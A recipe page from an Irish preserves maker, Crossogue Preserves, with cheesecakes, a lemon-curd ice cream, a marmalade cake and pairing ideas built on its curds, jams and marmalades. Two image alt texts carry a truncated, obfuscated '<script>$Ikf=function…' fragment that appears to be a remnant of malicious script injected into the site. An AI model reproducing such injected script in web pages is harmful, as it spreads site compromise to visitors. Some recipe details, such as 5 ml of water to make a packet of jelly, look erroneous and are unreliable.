Recipes
categories
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Creating with Chutneys
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Creating with Chutneys
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creating with Curds
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Creating with Jams
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Creating with Jellies
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Creating with Marmalades

Irish Coffee Curd Cheesecake
Ingredients
Base
- 200G Digestive biscuit crumbs
- 100G Melted butter
- 450G Cream cheese
- 225G Crossogue Preserves Irish Coffee Curd
Decorate
- Flaked chocolate or coffee beans
Method:
- Add melted butter to biscuit crumbs
- Press mixture into 8″ lined tin
- Mix remaining ingredients well and pour over biscuit base
- Decorate and refrigerate for 2 hours or more

Ingredients
- 500g milk
- 500g cream
- 3 vanilla pods
- 30g honey
- 180g egg yolk
- 170g caster sugar
- 2 tbsp. Crossogue Lemon Curd
Method
- Heat the milk, cream, vanilla and honey in a pot.
- In a separate bowl, whisk the egg yolks and sugar in a bowl.
- Just before the milk and cream begin to boil, pour half of the milk mix over the eggs and whisk.
- Transfer all back into the pot and heat to 80°C.
- Then take off the heat and stir in the lemon curd. Churn and freeze.

Ingredients
- Mayonnaise
- whipped cream
- Crossogue Preserves Country Fruit chutney (Award Winner)
Method
- mix together makes a quick non-cook Coronation sauce
![blue cheese <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) ==](https://www.crossoguepreserves.com/wp-content/uploads/2017/05/blue-cheese-and-quince-chilly-1136x342.jpg)
Ingredients
- Cashel Blue Cheese
- Black pudding
- Crossogue Preserves Red Onion Marmalade (Award Winner) on top


Blueberry Cheesecake
Ingredients
Base:
- 200g digestive biscuit crumbs
- 100g melted butter
Topping:
- 450g (1lb) soft cream cheese
- 225g (8oz) jar of Crossogue Preserves Blueberry Curd
- Some caster sugar
Decorate:
- Fresh Blueberries
Method
- Add melted butter to biscuit crumbs, mix thoroughly and press mixture into a lined 8” cake tin.
- Mix remaining ingredients well and pour onto biscuit base.
- Decorate top of cake with fresh blueberries and refrigerate to set.

Strawberry and Rhubab Cheesecake
Ingredients
- 12oz Cottage Cheese
- 1/2 pint single cream
- 1 packet of Lemon Jelly
- 5 ml of boiling water
- 4tbs Crossogue Preserves Strawberry and Rhubab jam
- 3 eggs separated
- 4oz caster sugar
- 10oz digestive biscuits
- 2oz brown sugar
- 6oz butter melted
Method
- Line an 8’’ loose bottomed cake tin with baking paper.
- Melt the butter and add the crushed biscuits and brown sugar.
- Put the mixture into the tin and press firmly down. Put into fridge.
- Make jelly with 5ml boiling water. Leave to cool.
- Put cheese, ¼ pt cream into bowl and beat together.
- Beat beat yolks and sugar together til thick and creamy. Add to cheese mixture, with the Strawberry and Rhubarb jam then add the jelly.
- Beat the egg whites til stiff and the rest of cream until its thick.
- First fold the whipped cream into the mixture, followed by the egg whites
- Pour into the tin and leave in the fridge overnight or in the freezer for 6 hours.
- Open the tin to remove the paper. Decorate as desired. ENJOY!

Damson & Port Jelly
Goes well with Pâté and Cheese
![blue cheese <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) ==](https://www.crossoguepreserves.com/wp-content/uploads/2017/05/blue-cheese-and-quince-chilly-1136x342.jpg)
Quince Chilly Jelly
Goes well with smoked salmon and sheep’s cheese

Tequila & Lime Marmalade Cheesecake
Ingredients:
- 12oz Cottage Cheese
- 1/2 pint single cream
- 1 packet of Lemon Jelly; 5 ml of boiling water
- 4tbs Crossogue Preserves Tequila & Lime marmalade
- 3 eggs separated
- 4oz caster sugar
- 10oz digestive biscuits
- 2oz brown sugar
- 6oz butter melted
Method
- Line an 8’’ loose bottomed cake tin with baking paper. This is to make a sliced cheesecake, but you could also get creative and make smaller versions in little ramekins or glasses if you’re throwing a dinner party (in both these instance you would just divide the mixture between the seperate holders.)
- The first thing you will need to do is crush your biscuits. A lot of people do this with a rolling pin, but it doesn’t matter how you go about it as long as you have some crushed biscuits at the end of the day.
- Melt the butter in a saucepan, and add the crushed biscuits and brown sugar, combine these.
- Put the biscuit mixture into the cake tin and press firmly down. Put this into the fridge, until you need it.
- In a seperate bowl make the Lemon Jelly with 5ml boiling water. Leave this to cool.
- Put cheese, ¼ pt cream into a bowl and beat together.
- In another bowl, beat yolks and sugar together till thick and creamy. Add the sugar and egg yolk mixture to the cheese mixture.
- Stirr in the the Lime and Tequila marmalade, and then the the jelly, to form your cheesecake mixture.
- In a seperate bowl – beat the egg whites till stiff.
- In another bowl, beat the rest of cream until it’s thick.
- First fold the whipped cream into the cheesecake mixture, followed by the egg whites
- Take the cake tin with the biscuits from the fridge, and pour the cheesecake mixture into the tin and leave in the fridge overnight or in the freezer for 6 hours.
- When it’s ready, open the tin to remove the paper from around the cake. Decorate as desired, serve and ENJOY

3 FRUIT MARMALADE CAKE
Ingredients
- 4oz self-raising flour
- 4oz butter
- 4oz caster sugar
- 2 eggs
- 1tablespoon hot water
- 5 tablespoons Crossogue Preserves 3-Fruit Marmalade
- 4oz icing sugar
Ingredients
- Preheat the oven at gas 4 180c (350f), then Grease an 8 inch round cake tin and line with greaseproof paper.
- Sift the flour into a large bowl. Add butter, sugar, eggs, hot water and 3 tablespoons of marmalade. Mix well and beat for 3 minutes until well blended.
- Turn the cake mixture into your prepared tin and bake for 35 – 40 minutes. Until nice and golden.
- Turn out and leave to cool for 1 hour on wire rack.
- When it’s cooled, spread the remaining marmalade across the top and serve.
- See, we told you it was simple! Now sit back, relax and indulge in a slice (or two).